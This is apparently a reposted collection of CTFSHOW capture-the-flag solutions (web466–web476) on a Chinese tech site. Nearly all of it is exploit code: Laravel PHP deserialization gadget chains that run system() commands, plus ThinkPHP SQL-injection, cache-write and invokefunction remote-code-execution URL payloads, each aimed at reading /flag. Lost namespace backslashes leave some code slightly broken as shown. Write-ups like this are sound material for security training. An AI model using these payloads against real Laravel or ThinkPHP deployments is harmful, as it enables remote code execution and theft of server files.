栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

CTFSHOW框架复现篇

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CTFSHOW框架复现篇

文章目录
    • web466
    • web467
    • web468
    • web469|web470
    • web471
    • web472
    • web473
    • web474
    • web475
    • web476

web466

反序列化格式 /admin/序列化串base64

参考文章
https://xz.aliyun.com/t/11002
payload


    class Validator {
       public $extensions = [];
       public function __construct() {
            $this->extensions = ['' => 'system'];
       }
    }
}

namespace IlluminateBroadcasting {
    use  IlluminateValidationValidator;
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Validator();
            $this->event = $cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast('cat /flag')));
}
?>
web467

参考文章https://xz.aliyun.com/t/9478


    use  IlluminateEventsDispatcher;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Dispatcher($cmd);
            $this->event=$cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast('cat /flag')));
}


namespace IlluminateEvents
{
    class Dispatcher
    {
       protected $listeners;
       public function __construct($event){
           $this->listeners=[$event=>['system']];
       }
    }
}
web468

参考文章https://www.cnblogs.com/shivers0x72/p/14800109.html


	use IlluminateNotificationsChannelManager;
	class PendingBroadcast
	{
		protected $events;
		public function __construct($cmd)
		{
			$this->events = new ChannelManager($cmd);
		}
	}
	$seri = new PendingBroadcast('cat /flag');
	echo base64_encode(serialize($seri));
}

namespace IlluminateNotifications
{
	class ChannelManager
	{
		protected $app;
		protected $defaultChannel;
		protected $customCreators;
		public function __construct($cmd)
		{
			$this->defaultChannel = 'yu22x';
			$this->customCreators = array('yu22x' => 'system'); 
			$this->app = $cmd;
		}
	}
}
?>

发送payload后看下源代码即可。

web469|web470

参考文章https://www.cnblogs.com/shivers0x72/p/14800109.html


	use FakerValidGenerator;
	class PendingBroadcast
	{
		protected $events;
		public function __construct($cmd)
		{
			$this->events = new ValidGenerator($cmd);
		}
	}
	$seri = new PendingBroadcast('cat /flag');
	echo base64_encode(serialize($seri));
}

namespace Faker
{
	use FakerDefaultGenerator;
	class ValidGenerator
	{
		protected $maxRetries;
		protected $validator;
		protected $generator;
		public function __construct($cmd)
		{
			$this->generator = new DefaultGenerator($cmd);
			$this->maxRetries = 10000000;
			$this->validator = 'system';
		}
		
	}
}

namespace Faker
{
	class DefaultGenerator
	{
		protected $default;
		public function __construct($cmd)
		{
			$this->default = $cmd;
		}
	}
}
?>
web471

参考文章http://www.136.la/jingpin/show-180114.html#POC1_46


    use IlluminateBusDispatcher;
    use IlluminateFoundationConsoleQueuedCommand;
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct()
        {
            $this->events = new Dispatcher();
            $this->event = new QueuedCommand();
        }

    }
}

namespace IlluminateFoundationConsole
{
    class QueuedCommand
    {
        public $connection = 'cat /flag';
    }
}

namespace IlluminateBus
{

    class Dispatcher
    {
        protected $queueResolver;

        public function __construct()
        {
            $this->queueResolver='system';
        }

    }
}

namespace
{

    use IlluminateBroadcastingPendingBroadcast;

    echo base64_encode(serialize(new PendingBroadcast()));
}
web472

参考文章https://blog.csdn.net/qq_38154820/article/details/114610513
payload


 
use IlluminateContractsEventsDispatcher;
 
class PendingBroadcast
{
 protected $event;
 protected $events;
    public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}
namespace IlluminateBus{
class Dispatcher
{
 protected $queueResolver;
    public function __construct($queueResolver)
    {
        $this->queueResolver = $queueResolver;
    }
 
}
}
namespace IlluminateBroadcasting{
class BroadcastEvent
{
 public $connection;
 public function __construct($connection)
    {
        $this->connection = $connection;
    }
  }
}
namespace{
 $c = new IlluminateBroadcastingBroadcastEvent('cat /flag');
 $a = new IlluminateBusDispatcher('system');
 $b = new IlluminateBroadcastingPendingBroadcast($a,$c);
 echo base64_encode(serialize($b));
}
web473

参考文章https://www.cnblogs.com/litlife/p/11273652.html
试了几个报错函数 ,其中exp可用。
payload
index.php?s=index/index/inject&a[0]=inc&a[1]=exp(~(select load_file('/flag')))&a[2]=1

web474

参考文章https://blog.csdn.net/rfrder/article/details/114599310

public/index.php?s=index/index/rce&cache=%0d%0asystem('cat /flag');//
接着访问
runtime/cache/0f/ea6a13c52b4d4725368f24b045ca84.php

web475
s=cat /flag&_method=__construct&method=POST&filter[]=system

aaaa=cat /flag&_method=__construct&method=GET&filter[]=system

_method=__construct&method=GET&filter[]=system&get[]=cat /flag

c=cat /flag&f=calc&_method=filter
web476
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*

?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/998911.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号